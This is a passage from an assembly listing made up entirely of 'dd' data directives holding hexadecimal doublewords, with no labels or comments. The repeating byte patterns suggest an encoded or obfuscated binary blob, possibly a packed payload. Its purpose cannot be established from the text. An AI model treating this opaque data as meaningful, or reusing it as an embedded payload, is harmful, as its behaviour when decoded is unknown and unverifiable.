8C8D1C00h dd 1ED4999Fh, 741F8C8Dh, 0F4191597h, 7563676Dh, 9C9C9E8Ah dd 50992393h, 1F8C8D1Dh, 917865Ch, 63676DF4h, 89082A93h dd 63666DF5h, 9BE84CA5h, 6DC4391Fh, 179C6365h, 676DF419h dd 182A9363h, 666DF599h, 89239363h, 8C8D1DDCh, 0A5875E1Fh dd 0F319934Ch, 3D9C9C9Dh, 8C8D1D74h, 0A59B741Fh, 676DF419h dd 341A9363h, 179C9C9Ch, 676DF419h, 84891763h, 1F8C8D1Dh dd 4CB59476h, 0F5991816h, 1463666Dh, 656DBF19h, 192A9363h dd 63656DBFh, 0B0892393h, 178C8D1Dh, 8D1C7C91h, 96C8118Ch dd 0E24CA586h, 3489178Fh, 1F8C8D1Ch, 899FBB5Eh, 8C8D1C5Ch dd 0CDE04CA5h, 0BF192A93h, 1763656Dh, 8D1D0C89h, 0EE5E1F8Ch dd 1C04899Fh, 4CA58C8Dh, 239389E2h, 8D1D3489h, 2091178Ch dd 118C8D1Ch, 0A5E396C8h, 93BEE04Ch, 6DBF192Ah, 89176365h dd 8C8D1C58h, 0A5AC5E1Fh, 9384E24Ch, 1DC08923h, 5E1F8C8Dh dd 0E14CA5A2h, 0C4195B96h, 9D63656Dh, 179C9C9Ch, 656DC019h dd 0F419A563h, 9363676Dh, 9C9C3D1Fh, 0F419179Ch, 1763676Dh dd 8D1DFC89h, 9123938Ch, 8C8D1C08h, 761F569Dh, 164C9D9Bh dd 6DF59918h, 19146366h, 63656DBFh, 0BF192A93h, 1763656Dh dd 8D1DE489h, 0EB5E1F8Ch, 91E24CA5h, 1D288917h, 5E1F8C8Dh dd 0E04CA5E2h, 192A93D3h, 63656DBFh, 1ED48917h, 5E1F8C8Dh dd 0B4899FB2h, 0A58C8D1Dh, 178FE24Ch, 8D1D4889h, 0AD5E1F8Ch dd 1DC8899Fh, 4CA58C8Dh, 2A93BEE0h, 656DBF19h, 0AC891763h dd 1F8C8D1Eh, 4CA5875Eh, 239384E2h, 8D1C4489h, 0BB5E1F8Ch dd 96E14CA5h, 6DC4195Bh, 9C9D6365h, 983D9C9Ch, 1F8C8D1Eh dd 19A79F74h, 63656DC4h, 1917BCE9h, 63656DCCh, 6DF40917h dd 8166367h, 666DF589h, 99081463h, 63666DF5h, 6DCC1963h dd 19176365h, 63676DF4h, 99182A93h, 63666DF5h, 1D5C8917h dd 5E1F8C8Dh, 91239385h, 8C8D1D58h, 4CA5569Dh, 195B96E9h dd 63656DC4h, 9C9C9C9Dh, 6DF41963h, 19176367h, 63656DC0h dd 6DF419A5h, 1E936367h, 63636144h, 6DCC1917h, 23936365h dd 8D1D5089h, 9A761F8Ch, 0F5990814h, 1763666Dh, 656DB019h dd 0AC17CC63h, 3D94CA63h, 8C8D1EACh, 2C892393h, 9D8C8D1Ch dd 9A741F4Ch, 6DC81915h, 19116365h, 63656DC8h, 6F8F4CCh dd 19178C8Dh, 63656DD8h, 63A417CCh, 9C9CA188h, 5F159C9Ch dd 8D1DF83Dh, 8923938Ch, 8C8D1EBCh, 0A5D44C9Dh, 5319935Fh dd 119C9C9Eh, 656DD419h, 1917CC63h, 63656DC8h, 63A417CCh dd 5F15F0CBh, 0F4992393h, 1F8C8D1Dh, 5FA59874h, 9E001993h dd 43D9C9Ch, 1F8C8D1Ch, 19159E74h, 63666DF8h, 9C9EEB75h dd 1D7C3D9Ch, 999F8C8Dh, 8C8D1D44h, 0CC8C741Fh, 0C6B88963h dd 0FAC58C91h, 6C64195Bh, 9C9E6364h, 6DF81917h, 19156366h dd 63646D9Ch, 6C681911h, 11CC6364h, 646C6429h, 8C701F63h dd 98257B15h, 6F9C9C9Ch, 64291139h, 1F63646Ch, 7B158C70h dd 9C9C9825h, 17396F9Ch, 656DC821h, 0A317CB63h, 15E8CB63h dd 9923935Fh, 8C8D1E88h, 1EAC999Fh, 741F8C8Dh, 935FA594h dd 9C9D6919h, 9923939Ch, 8C8D1C70h, 6D901915h, 19116364h dd 63646D90h, 6C8F4CCh, 19178C8Dh, 63646C68h, 63A417CCh dd 9C9CA188h, 5F159C9Ch, 8D1D843Dh, 95741F8Ch, 199344A5h dd 9C9C9D32h, 6D8C1911h, 93CC6365h, 1C449923h, 741F8C8Dh dd 2963CC95h, 63606D24h, 6D901917h, 17CC6364h, 0BCCB63A4h dd 1FFA5F15h, 656D8C21h, 8BE99463h, 88992393h, 938C8D1Eh dd 1D808923h, 4C9D8C8Dh, 0A59F741Fh, 7599E85Fh, 9C9C9DCAh dd 8D1C643Dh, 0A8999F8Ch, 178C8D1Dh, 8D1C0C89h, 10899F8Ch dd 0D68C8D1Dh, 99990814h, 1163646Dh, 646D8D19h, 2963CC63h dd 63656D84h, 9C809274h, 94581F9Ch, 6D842963h, 89636365h dd 8C8DECA8h, 8D1DA43Dh, 9F741F8Ch, 8D092293h, 0A563646Dh dd 6318934Ch, 639C9C9Ch, 606D2829h, 8D191163h, 0CC63646Dh dd 630C7E74h, 94581F63h, 6D8C1911h, 3DCC6365h, 8C8D1C00h dd 1D48999Fh, 741F8C8Dh, 2963CC8Ch, 63606D20h, 6D901917h dd 17CC6364h, 0BCCB63A4h, 23935F15h, 8D1D1499h, 9D5E158Ch dd 1DC43D5Eh, 14D48C8Dh, 7C778918h, 81A76364h, 8C8D1D9Ch dd 1FFAB7E9h, 656D8C21h, 0BDE99463h, 7C691911h, 63CC6364h dd 656D8429h, 87F17463h, 581F9C9Ch, 84296394h, 6363656Dh dd 8DECA889h, 1091F48Ch, 21748C8Dh, 636363F3h, 666DF829h dd 2111CC63h, 63606D5Dh, 0B48963CBh, 118C91C6h, 606D5D19h dd 1911CC63h, 63606E5Ch, 0B08963CCh, 118C9C6Ch, 647C6919h dd 1911CC63h, 63606E5Ch, 0B08963CCh, 0F48C9C6Ch, 8C8D1094h dd 63F3EB74h, 2111CC63h, 63606E5Ch, 0B08963CBh, 118C9C6Ch dd 646D8D19h, 1911CC63h, 63606E5Ch, 0B08963CCh, 1F8C9C6Ch dd 1917A858h, 63646D90h, 63AC17CCh, 191794CAh, 63646C68h dd 63AC17CCh, 196394CAh, 63666DF8h, 6DD41917h, 19A56365h dd 63666DF8h, 61EB1E93h, 19176363h, 63656DC8h, 63AC17CCh dd 191794CAh, 63656DD8h, 63AC17CCh, 903D94CAh, 938C8D1Dh dd 1C308923h, 4C9D8C8Dh, 99182A93h, 63666DC5h, 0BC892393h dd 1F8C8D1Dh, 4CA59F76h, 9EF4DBE8h, 748C8D10h, 6363F240h dd 5C2111CCh, 0CB63606Eh, 6CB08963h, 19118C9Ch, 63666DF5h dd 5C1911CCh, 0CC63606Eh, 6CB08963h, 61F48C9Ch, 748C8D17h dd 6363F22Ch, 5C2111CCh, 0CB63606Eh, 6CB08963h, 581F8C9Ch dd 2C1963BCh, 1763606Dh, 606D3419h, 2C19A563h, 9363606Dh dd 636A231Eh, 38196363h, 1763676Dh, 676DEC19h, 3819A563h dd 9363676Dh, 63682610h, 5C191163h, 0CC63606Eh, 0C6808963h dd 63C58C91h, 606D2429h, 0A8896363h, 638C8DECh, 606D2029h dd 0A8896363h, 178C8DECh dd 676D0C19h, 0AC17CC63h, 1794CA63h, 676D0819h, 0AC17CC63h dd 1794CA63h, 676D0419h, 0AC17CC63h, 1794CA63h, 676D0019h dd 0AC17CC63h, 0C394CA63h, 5F55C7C2h, 0CD7915C9h, 3DCBCACFh dd 8C8D1DCCh, 0CC98741Fh, 9C9C1CF4h, 3D98F69Ch, 8C8D1C24h dd 0CC94741Fh, 1DF8A963h, 9CF48C8Dh, 0F4DC9C9Ch, 8C95AFACh dd 0F0848963h, 5B158C8Dh, 43D9CF6h, 1F8C8D1Ch, 63CC9E74h dd 63CB90E9h, 8DECAC89h, 94D9178Ch, 541F5D15h, 0A01CDC63h dd 65E99C9Dh, 81175A15h, 8C8D1E94h, 0CF9E771Fh, 0CF60C111h dd 94E963CAh, 808963CBh, 0CB8C8DECh, 0D6D48963h, 0C2C38C95h dd 0F65F55C7h, 2066749Ch, 9EF66363h, 63206F74h, 94581F63h dd 72F4CB5Fh, 748C8D17h, 6363F1E8h, 8963CCC5h, 8C9DB904h dd 8D1E003Fh, 1D943D8Ch, 23938C8Dh, 8D1D1489h, 1F4C9D8Ch dd 99A79B74h, 8C8D1E00h, 43F48BE9h, 748C8D17h, 6363F1D8h dd 8963CCC5h, 8C99AF84h, 8D1E003Fh, 1757F48Ch, 0B1748C8Dh dd 0C56363F1h, 0A963CCh, 638C8D1Eh, 9DBD3089h, 0B69C3F8Ch dd 5FC38C99h, 1F7915C9h, 0CACFB470h, 90E917CBh, 0B8A117DAh dd 1F8C8D1Dh, 0A19F8E5Bh, 8C8D1C4Ch, 5C196C15h, 639999E1h dd 5D9C9C9Ch, 81179464h, 8C8D1C74h, 84819FDFh, 158C8D1Eh dd 4F33935Eh, 0E1154B9Dh, 196C1564h, 9999E15Ch, 9C9C6363h dd 938C645Dh, 1D30A123h, 23938C8Dh, 8D1D5881h, 83E0118Ch dd 935F1596h, 0A1174333h, 8C8D1DB4h, 9F855B1Fh, 8D1EB0A1h dd 15679D8Ch, 239368C1h, 8D1D70A1h, 196C158Ch, 9999E15Ch dd 9C9C9C63h, 9394645Dh, 1EDC8123h, 5F1F8C8Dh, 935E158Ch dd 0E0114F33h, 0E1158E8Bh, 6B6C156Ch, 0D91568F9h, 9C63B978h dd 74CC9C9Ch, 636328B6h, 0C1145F15h, 1DF83D73h, 5C1F8C8Dh dd 892393D9h, 8C8D1DF4h, 33934C9Dh, 9C63B95Ah, 74CC9C9Ch dd 9C9C8061h, 0C1145F15h, 6B6C1572h, 0D9156CF9h, 9C63B97Ch dd 74CC9C9Ch, 63632F72h, 0C1145F15h, 1EF03D71h, 5C1F8C8Dh dd 5C999FBAh, 938C8D1Ch, 63B95A33h, 0CC9C9C9Ch, 9C805874h dd 145F159Ch, 0D43D70C1h, 1F8C8D1Dh, 999FF95Ch, 8C8D1D68h dd 0B95A3393h, 9C9C9C63h, 803F74CCh, 5F159C9Ch, 1577C114h dd 9C63B96Ch, 74CC9C9Ch, 63632F06h, 0C1145F15h, 6B6C1576h dd 0D91564F9h, 9C63B940h, 74CC9C9Ch, 63632F1Eh, 0C1145F15h dd 1EC43D63h, 5C1F8C8Dh, 5C999F96h, 158C8D1Ch, 4C33936Eh dd 63B94C15h, 0CC9C9C9Ch, 9C80C874h, 145F159Ch, 239375C1h dd 8D1D0899h, 0A05C1F8Ch, 0B95A3393h, 9C9C9C63h, 2FDC74CCh dd 581F6363h, 145F15B8h, 2A9374C1h, 641563E1h, 0A917744Dh dd 8C8D1D88h, 0BC812393h, 9D8C8D1Eh, 7A6BD242h, 1544D915h dd 0E95BA55Ah, 172DF4DAh, 0DD748C8Dh, 936363F7h, 0CB74E12Ah dd 72E12A93h, 0E12A93CBh, 2A93CB73h, 93CB70E1h, 0CB76E12Ah dd 77E12A93h, 0E12A93CBh, 2A93CB71h, 93CB75E1h, 0CB63E12Ah dd 94E963CCh, 0C6B48963h, 581F8C91h, 0F4D877ACh, 8C8D170Ah dd 63F66774h, 0E12A9363h, 2A93CB74h, 93CB72E1h, 0CB73E12Ah dd 70E12A93h, 0E12A93CBh, 2A93CB76h, 93CB77E1h, 0CB71E12Ah dd 75E12A93h, 0E12A93CBh, 63CCCB63h, 896394E9h, 8C91C6B4h dd 0C3AC581Fh, 5F55C7C2h, 247915C9h, 9C9D9C14h, 9CAB0B74h dd 0CBCACF9Ch, 5CD95BFAh, 14F49C94h, 748C8D17h, 6363F079h dd 8963CCC5h, 8C9D9C90h, 1154D915h, 11CC48D9h, 701F5CE9h dd 257B158Ch, 9C9C9C98h, 0E117396Fh, 0A317CB90h, 15ACCB63h dd 1D943D5Fh, 741F8C8Dh, 0E85FA59Eh, 755CAD9Bh, 9C9C9BABh dd 0CC40D911h, 8D06D8F4h, 48D9178Ch, 63A417CCh, 9C9CA188h dd 5F159C9Ch, 44992393h, 1F8C8D1Ch, 44A59574h, 9B9E1993h dd 0D9119C9Ch, 0D917CC44h, 0A417CC40h, 15B8CB63h, 1D243D5Fh dd 741F8C8Dh, 935FA59Bh, 9C9A4619h, 1C683D9Ch, 999F8C8Dh dd 8C8D1DD0h, 1594741Fh, 247578D9h, 179C9C9Ah, 0D91578D9h dd 0D95BFA6Ch, 119C9E74h, 11CC60D9h, 701F74E9h, 257B158Ch dd 9C9C9C98h, 0E911396Fh, 8C701F74h, 98257B15h, 6F9C9C9Ch dd 40E11739h, 63A317CBh, 5F15B0CBh, 8D1D783Dh, 8923938Ch dd 8C8D1D50h, 741F4C9Dh, 935FA597h, 9C9AFF19h, 1DD43D9Ch dd 999F8C8Dh, 8C8D1C64h, 1597741Fh, 62632019h, 20191163h dd 0CC636263h, 8D06C8F4h, 60D9178Ch, 63A417CCh, 9C9CA188h dd 5F159C9Ch, 50992393h, 1F8C8D1Dh, 5FA59A74h, 99721993h dd 7C3D9C9Ch, 9F8C8D1Dh, 8D1D1899h, 8D741F8Ch, 632019A5h dd 18936362h, 9C9C9948h, 0CC7CD911h, 63201917h, 17CC6362h dd 640B63A4h, 159C9C9Ch, 9923935Fh, 8C8D1EF4h, 0A59F741Fh dd 31199344h, 119C9C99h, 62635D19h, 0E963CC63h, 8829747Ch dd 383D9C9Ch, 938C8D1Ch, 1C308923h, 4C9D8C8Dh, 0CC93741Fh dd 99AF9CF4h, 5D19118Ch, 0CC636263h, 63411274h, 88581F63h dd 1DC8A117h, 5B1D8C8Dh, 9C9C6368h, 1C4CA19Fh, 5BA58C8Dh dd 99C21893h, 683D9C9Ch, 1F8C8D1Dh, 0D9A59874h, 1781E98Ch dd 62632019h, 0AC17CC63h, 1794CA63h, 17CC60D9h, 94CA63ACh dd 75DC5CADh, 9C9C9917h, 8D1C003Dh, 9B741F8Ch, 63181915h dd 19116362h, 63626318h, 6E8F4CCh, 0D9178C8Dh, 0A417CC60h dd 9CA18863h, 159C9C9Ch, 9923935Fh, 8C8D1EDCh, 935FA5D4h dd 9C986719h, 37195A9Ch, 0D8636263h, 8D17E3F4h, 0F4F6748Ch dd 0A1176363h, 8C8D1C4Ch, 1ECCA19Fh, 731F8C8Dh, 11CCCB99h dd 62635D21h, 7C74CB63h, 1F636340h, 0A9178C58h, 8C8D1C48h dd 63645A1Dh, 6CA59C9Ch, 195A9BE8h, 63626337h, 17EBF4DFh dd 0B5748C8Dh, 176363F4h, 8D1EF8A1h, 38A19F8Ch, 1F8C8D1Ch dd 0CCCB9773h, 635D2111h, 74CB6362h, 63634003h, 178C581Fh dd 8D1DA4A9h, 695A1D8Ch, 939C9C63h, 1C3C8923h, 4A9D8C8Dh dd 9BE86CA5h, 6337195Ah, 0F4CC6362h, 8C8D17F3h, 63FB4374h dd 0A1239363h, 8C8D1C2Ch, 2111CCCBh, 6362635Dh, 40C174CBh dd 581F6363h, 0A923938Ch, 8C8D1D58h, 159F721Fh, 156B9D5Bh dd 62630021h, 2C211563h, 17636263h, 62632C19h, 99201C63h dd 6362635Dh, 6394E8BAh, 62632C19h, 17747763h, 62632C19h dd 89239363h, 8C8D1EC8h, 1C20899Fh, 761F8C8Dh, 99081494h dd 6362635Dh, 63001917h, 18116362h, 62635D99h, 8963CC63h dd 8C9D9C80h, 631C1915h, 0F4F46362h, 748C8D17h, 6363FBC8h dd 1D6CA117h, 23938C8Dh, 8D1EB4A9h, 1F6B9D8Ch, 0CCCB9273h dd 635D2111h, 74CB6362h, 6363475Bh, 9388581Fh, 1D98A923h dd 0A99F8C8Dh, 8C8D1C64h, 159A721Fh, 156B9D5Bh, 62630021h dd 2C211563h, 17636263h, 62632C19h, 99201C63h, 6362635Dh dd 6394E8BAh, 62632C19h, 17747763h, 62632C19h, 89239363h dd 8C8D1C44h, 1495761Fh, 635D9908h, 19176362h, 63626300h dd 5D991811h, 0CC636263h, 9C808963h, 15C58C9Dh, 62633819h dd 1E803D63h, 19A58C8Dh, 6362631Ch, 9C0C1B93h, 983D9C9Ch dd 938C8D1Eh, 1D588923h, 4C9D8C8Dh, 1596741Fh, 62632419h dd 17F97763h, 62632421h, 0A1881663h, 8C9DBD2Ch, 633709A6h dd 0D6E96362h, 939E7B5Dh, 1EA0A923h, 0A99F8C8Dh, 8C8D1C40h dd 0A596721Fh, 8C7CA1A8h, 0B2E88C9Dh, 63382917h, 0A8A56362h dd 9D9CBCA1h, 1783E98Ch, 62632421h, 58A91763h, 938C8D1Ch dd 1D708923h, 4A9D8C8Dh dd 1590721Fh, 8C7C21A8h, 19638C9Dh, 63626324h, 8D1E943Dh dd 9F7A998Ch, 19A59C9Ch, 63626324h, 896315EEh, 8C8DC7ECh dd 633C1915h, 0B43D6362h, 1F8C8D1Dh, 19159B74h, 63626328h dd 2117F977h, 63626328h, 179E7B5Dh, 0D6CCA1A8h, 89178C95h dd 8C8D1C00h, 76C55E1Dh, 23939C9Ch, 8D1DB091h, 4D33938Ch dd 29A74A9Dh, 6362633Ch, 0A917B3EFh, 8C8D1D7Ch, 0A595721Fh dd 8C7CA1A8h, 81E88C9Dh, 63282117h, 23936362h, 8D1EA0A9h dd 98A99F8Ch, 1F8C8D1Eh, 0A8159A72h, 9D8C7C21h, 2819638Ch dd 3D636263h, 8C8D1D60h, 9C9F7B99h, 28999F9Ch, 0A58C8D1Dh dd 62632819h, 3D1FEE63h, 8C8D1ED0h, 1C34999Fh, 741F8C8Dh dd 30191591h, 77636263h, 302117B4h, 93636263h, 1D14A923h dd 23938C8Dh, 8D1D5489h, 1F4A9D8Ch, 0A8A59072h, 9D8C7C21h dd 6384E88Ch, 62633019h, 1E803D63h, 74998C8Dh, 0A59C9C9Fh dd 62633019h, 175AEE63h, 62633021h, 94E91763h, 0FC21A815h dd 158C9C6Ch, 37091664h, 14636263h, 0BD2C9988h, 29178C9Dh dd 63626338h, 0BC21A815h, 938C9D9Ch, 1C3C9923h, 999F8C8Dh dd 8C8D1C58h, 0A58C741Fh, 62631C19h, 231A9363h, 179C9C9Ch dd 8D1D88A9h, 655A1D8Ch, 9F9C9C63h, 8D1C28A9h, 0A815FA8Ch dd 99B68CE1h, 1C343D8Ch, 999F8C8Dh, 8C8D1DB4h, 1593741Fh dd 6263E419h, 17ED7763h, 6263E421h, 0A1881663h, 8C9DBD2Ch dd 633709A6h, 0CAE96362h, 7A5D6215h, 3809179Eh, 0A5636263h dd 9CBCA988h, 0DEE98C9Dh, 1D3C8917h, 88A58C8Dh, 9D8C7CA9h dd 93AFE88Ch, 8CE1A02Bh, 178C99B6h, 8D1C4CA9h, 645A1D8Ch dd 939C9C63h, 1EF48923h, 4A9D8C8Dh, 8EE86BA5h, 63E42117h dd 0A0116362h, 99B68CE1h, 9B63FA8Ch, 1963DD77h, 636263E4h dd 8D1ED03Dh, 9F40998Ch, 999F9C9Ch, 8C8D1C74h, 63E419A5h dd 1E936362h, 636363EFh, 21178177h, 63626330h, 1DE0A917h dd 0A99F8C8Dh, 8C8D1EACh, 0FA95721Fh, 8CE1A815h, 638C99B6h dd 8DC7EC89h, 3021178Ch, 15636263h, 0D6CC2198h, 0A9118C95h dd 8C8D1E5Ch, 7C21A815h, 178C9D8Ch, 62633021h, 21A01163h dd 8C9D8C7Ch, 63E02115h, 64156362h, 63AC17CCh, 211798CAh dd 63626330h, 7C21A011h, 158C9D8Ch, 62630C21h, 195BFA63h dd 63626314h, 29119C95h, 63626314h, 158C701Fh, 9C98257Bh dd 396F9C9Ch, 63182117h, 17CB6362h, 380B63A3h, 159C9C9Ch dd 3019635Fh, 11636263h, 62631419h, 8963CC63h, 8C8DEDC8h dd 63181917h, 17CC6362h, 94CA63ACh, 6320211Fh, 0E89C6362h dd 20191790h, 0CC636263h, 0CA63AC17h, 1C003D94h, 23938C8Dh dd 8D1EBC89h, 1F4C9D8Ch, 0D9A59474h, 1795E860h, 17CC60D9h dd 94CA63ACh, 1778D963h, 0D9A544D9h, 0A01E9378h, 17636365h dd 17CC40D9h, 94CA63ACh, 0CC48D917h, 0CA63AC17h, 0C35CAD94h dd 5F55C7C2h, 0CD7915C9h, 0CBCACFCCh, 1794E917h, 9F5A90C1h dd 1F6D159Ch, 1CDC6354h, 0E99C9DA0h, 60D91565h, 1EC4A117h dd 731F8C8Dh, 16EC779Dh, 0B2A0A298h, 0B3A090E8h, 2A9394E8h dd 5BA58CD9h, 0FEF483EFh, 748C8D17h, 6363FE40h, 0A2882A93h dd 0C911CCCEh, 8963CE65h, 8C91C6B4h, 778C581Fh, 17C1F4B3h dd 21748C8Dh, 0CC6363FEh, 0B08963CFh, 0F48C9C6Ch, 8C8D17C9h dd 63FE3774h, 882A9363h, 11CCCEA2h, 63CE65C9h, 91C6B489h dd 80581F8Ch, 0CC65D911h, 0B08963CFh, 1F8C9C6Ch, 0A7DB9458h dd 17EE60E1h, 55C7C2C3h, 0DBF4CB5Fh, 748C8D17h, 6363FEE8h dd 8963CCC5h, 8C9DB904h, 8D1E043Fh, 9923938Ch, 8C8D1D50h dd 1DC4999Fh, 741F8C8Dh, 499A79Bh, 0E98C8D1Eh, 17A5F48Bh dd 0D9748C8Dh, 0C56363FEh, 848963CCh, 3F8C99AFh, 8C8D1E04h dd 8D1DB43Dh, 9B741F8Ch, 1E0499A5h, 0BFE88C8Dh, 8D1C403Dh dd 8923938Ch, 8C8D1DF4h, 741F4C9Dh, 0A963CC9Ah, 8C8D1E04h dd 0BD308963h, 0B83F8C9Dh, 0C38C9C6Ch, 7915C95Fh, 9D90701Dh dd 17CB9C9Ch, 98F494E1h, 119C9C9Dh, 63626419h, 8963CC63h dd 8C9DB92Ch, 8D1D483Dh, 2889178Ch, 1F8C8D1Ch, 8149876h dd 63626E99h, 9D98F463h, 19119C9Ch, 63636264h, 2 dup(60D911CCh) dd 681911CCh, 0CC636362h, 9C9D98F4h, 6419119Ch, 0CC636362h dd 62641911h, 63CC6363h, 95C69889h, 17ADF48Ch, 0D748C8Dh dd 636363FDh, 63626829h, 63CBCC63h, 91C6B489h, 8C581F8Ch dd 8D1DE03Dh, 99741F8Ch, 7760D915h, 60D917B3h, 0A09B9816h dd 0A090E0DDh, 1794E3C6h, 649D60D9h, 17BC9C1Ch, 981660D9h dd 0E3A5A09Bh, 0E0ACA090h, 60D91794h, 9C1C649Dh, 60D963ADh dd 8D1DA03Dh, 0A4999F8Ch, 1F8C8D1Dh, 0D9A59874h, 0C322EE60h dd 15C95F55h, 4701D79h, 0CF9C9C9Eh, 0A117CBCAh, 8C8D1D94h dd 9394E917h, 1D808923h, 0D0118C8Dh, 724F928Bh, 1D188917h dd 0E0118C8Dh, 65159A8Bh, 7F4F6F15h, 62700115h, 44156363h dd 0D1A41DFAh, 3D92E8C6h, 8C8D1D5Ch, 9D9C9C99h, 775FB59Ch dd 1C0C3D7Fh, 5C1F8C8Dh, 3C999FA7h, 158C8D1Dh, 155E9D46h dd 63626809h, 9D9E1763h, 74191544h, 17636362h, 54A594D1h dd 243D92EAh, 998C8D1Dh, 9C9C6365h, 30775FB5h, 62741917h dd 19156363h, 63636278h, 0A19C2B93h, 9C9CD9CCh, 23938CE8h dd 8D1EBC99h, 6363998Ch, 5FB59C9Ch, 19171A77h, 63636278h dd 15E4DC17h, 63627C19h, 9D451563h, 6C11155Dh, 15636362h dd 9F461554h, 11CE90CCh, 63626119h, 0C174CC63h, 3D9C9CB1h dd 8C8D1D04h, 1D3C999Fh, 741F8C8Dh, 60D9159Fh, 0D917BE77h dd 99181660h, 63636261h, 8DE1E6A0h, 91E2FDA0h, 1160D917h dd 62619918h, 0B41C6363h, 60D963BCh, 9360D917h, 61991822h dd 0A7636362h, 8D1D5C99h, 3D57E98Ch, 8C8D1EACh, 54892393h dd 9D8C8D1Dh, 89201C5Eh, 63636264h, 17FCE8AEh, 8D1D4489h dd 9123938Ch, 8C8D1C70h, 529D4A15h, 64A9201Ch, 0CE636362h dd 201CD9E8h, 63626789h, 0A7E8D063h, 6499201Ch, 0D7636362h dd 683DADE8h, 9F8C8D1Ch, 8D1D9099h, 99201C8Ch, 63636264h dd 3D80E8AFh, 8C8D1D28h, 0FC892393h, 9D8C8D1Eh, 99201C4Ch dd 63636268h, 0FE1993D9h, 3D9C9C9Eh, 8C8D1DB8h, 1E80999Fh dd 741F8C8Dh, 64191595h, 75636362h, 9C9C9EA8h, 626C1917h dd 46156363h, 15BCCC9Fh, 63614809h, 64191763h, 15636362h dd 63614419h, 34911763h, 1F8C8D1Ch, 7D6B9875h, 614C1915h dd 19176363h, 63636148h, 614C0917h, 4C9D6363h, 62681915h dd 9C176363h, 1915449Dh, 63636140h, 7D1911CCh, 0CC636361h dd 9CB0B774h, 1DB43D9Ch, 999F8C8Dh, 8C8D1E80h, 4699201Ch dd 0DB636361h, 9D201993h, 0C43D9C9Ch, 9F8C8D1Dh, 8D1EF099h dd 99201C8Ch, 63636147h, 3F1993CCh, 3D9C9C9Dh, 8C8D1DA0h dd 1C892393h, 9D8C8D1Dh, 99201C4Ch, 6363617Ch, 1B1993EEh dd 3D9C9C9Dh, 8C8D1D90h, 1D00999Fh, 201C8C8Dh, 63614F99h dd 1993E863h, 9C9C9DF2h, 0B0992393h, 9F8C8D1Dh, 8D1C5899h dd 99201C8Ch, 63636145h, 0CF1993FFh, 3D9C9C9Dh, 8C8D1C7Ch dd 9F9A5C1Fh, 8D1C5499h, 99201C8Ch, 6363617Dh, 0AB1993DDh dd 179C9C9Dh, 63626C19h, 0B8DC1763h, 1915449Dh, 636361ECh dd 62641917h, 91176363h, 8C8D1D24h, 1D04919Fh, 751F8C8Dh dd 157D6B94h, 6361F019h, 0EC191763h, 17636361h, 6361F009h dd 154C9D63h, 63627019h dd 9C2B9363h, 61501915h, 23936363h, 8D1D0891h, 9F751F8Ch dd 19157D6Bh, 636361F4h, 5E9D4615h, 626C1917h, 0CC9F6363h dd 68091580h, 15636362h, 9F46154Ch, 5409158Ch, 15636361h dd 9DBD3089h, 3221118Ch, 11636361h, 8D18A8A9h, 9C91258Ch dd 0FA6F9C9Ch, 0E0811539h, 118C8D1Eh, 63613D21h, 0D2A91163h dd 258C8D18h, 9C9C9C91h, 2111386Fh, 63636110h, 18C7A911h dd 89258C8Dh, 6F9C9C9Ch, 0EB211138h, 11636361h, 8D18ECA9h dd 9C89258Ch, 386F9C9Ch, 61EB1911h, 63CC6363h, 8D1EE0A9h dd 3089638Ch, 3F8C9DBDh, 8C8DC6C0h, 61101911h, 63CC6363h dd 8D1EE0A9h, 3089638Ch, 3F8C9DBDh, 8C95D6DCh, 613D1911h dd 63CC6363h, 8D1EE0A9h, 3089638Ch, 3F8C9DBDh, 8C8DECBCh dd 61321911h, 63CC6363h, 8D1EE0A9h, 3089638Ch, 3F8C9DBDh dd 8C9D9350h, 19638777h, 63636264h, 626C1917h, 0DC176363h dd 6419A584h, 93636362h, 63612B1Eh, 0C7C2C363h, 0CACF5F55h dd 90B8D017h, 1D00A917h, 0A99F8C8Dh, 8C8D1D48h, 70812393h dd 1D8C8D1Ch, 5137155Fh, 2DC01573h, 0A9239358h, 8C8D1E90h dd 1DF88117h, 0E8118C8Dh, 81179E82h, 8C8D1EB0h, 40615F1Dh dd 80150426h, 0C4A9172Dh, 938C8D1Dh, 1C308123h, 89178C8Dh dd 8C8D1D84h, 0FA8F0011h, 158CAEC8h, 17942DC0h, 8D1D88A9h dd 4CA99F8Ch, 938C8D1Dh, 1E888123h, 5F1D8C8Dh, 0FBD9BE62h dd 702DC015h, 0C95FC7C2h, 701D7915h, 9C9C9EACh, 17CBCACFh dd 0C11794E9h, 0A1441590h, 9C9C9D9Ch, 10938AE8h, 9C9C9916h dd 9C9D8DA1h, 118939Ch, 759C9C9Ch, 9C9C99E6h, 958CE11Fh dd 99EC1993h, 183D9C9Ch, 158C8D1Dh, 0A19F5Bh, 1F8C8D1Ch dd 0F7779373h, 9C9CAC24h, 157B6B9Ch, 63616419h, 99A8A763h dd 8C95AAF8h, 0AC2483E9h, 6B9C9C9Ch, 6819157Bh, 63636361h dd 0AAF499A8h, 89638C95h, 8C99B560h, 9C99B575h, 9CAC249Ch dd 7B6B9C9Ch, 61681915h, 0A8A76363h, 95AAFC99h, 2483E98Ch dd 9C9C9CACh, 19157B6Bh, 6363616Ch, 0F899A863h, 638C95AAh dd 99B56089h, 9868758Ch, 3DDB9C9Ch, 8C8D1DE8h, 0A5FF5C1Fh dd 7515EE5Bh, 9C9C987Eh, 1C68A117h, 731F8C8Dh, 2486779Eh dd 9C9C9CACh, 19157B6Bh, 63636164h, 0F0999817h, 0A58C95AAh dd 8AE888D9h, 1DE83DDBh, 5C1F8C8Dh, 892393FFh, 8C8D1E90h dd 5BA54C9Dh, 0D83D4DEEh, 1F8C8D1Eh, 5BA5C15Ch, 98041893h dd 23939C9Ch, 8D1DD899h, 6C999F8Ch, 5A8C8D1Dh, 616F9918h dd 3DE06363h, 8C8D1C38h, 1EB0999Fh, 185A8C8Dh, 63616E99h dd 983DD763h, 178C8D1Eh, 8D1D9489h, 9E761F8Ch, 67990814h dd 0F4636361h, 9C9C9C63h, 62611911h, 24CC6363h, 9C9C9CACh dd 19157B6Bh, 63636168h, 0C499A863h, 638C95AAh, 8DECA489h dd 6119118Ch, 0CC636362h, 61601911h, 63CC6363h, 9C6CB089h dd 94581F8Ch, 9C9C63F4h, 6119119Ch, 0CC636362h, 9C9CAC24h dd 157B6B9Ch, 63616C19h, 99A86363h, 8C95AAFCh, 0ECA48963h dd 543D8C8Dh, 938C8D1Ch, 1D148923h, 4C9D8C8Dh, 9399741Fh dd 62610922h, 4CA56363h, 92F4C9E9h, 748C8D17h, 6363C648h dd 8917C5h, 9F8C8D1Ch, 8D1D6889h, 90761F8Ch, 0CC8917CEh dd 1F8C8D1Eh, 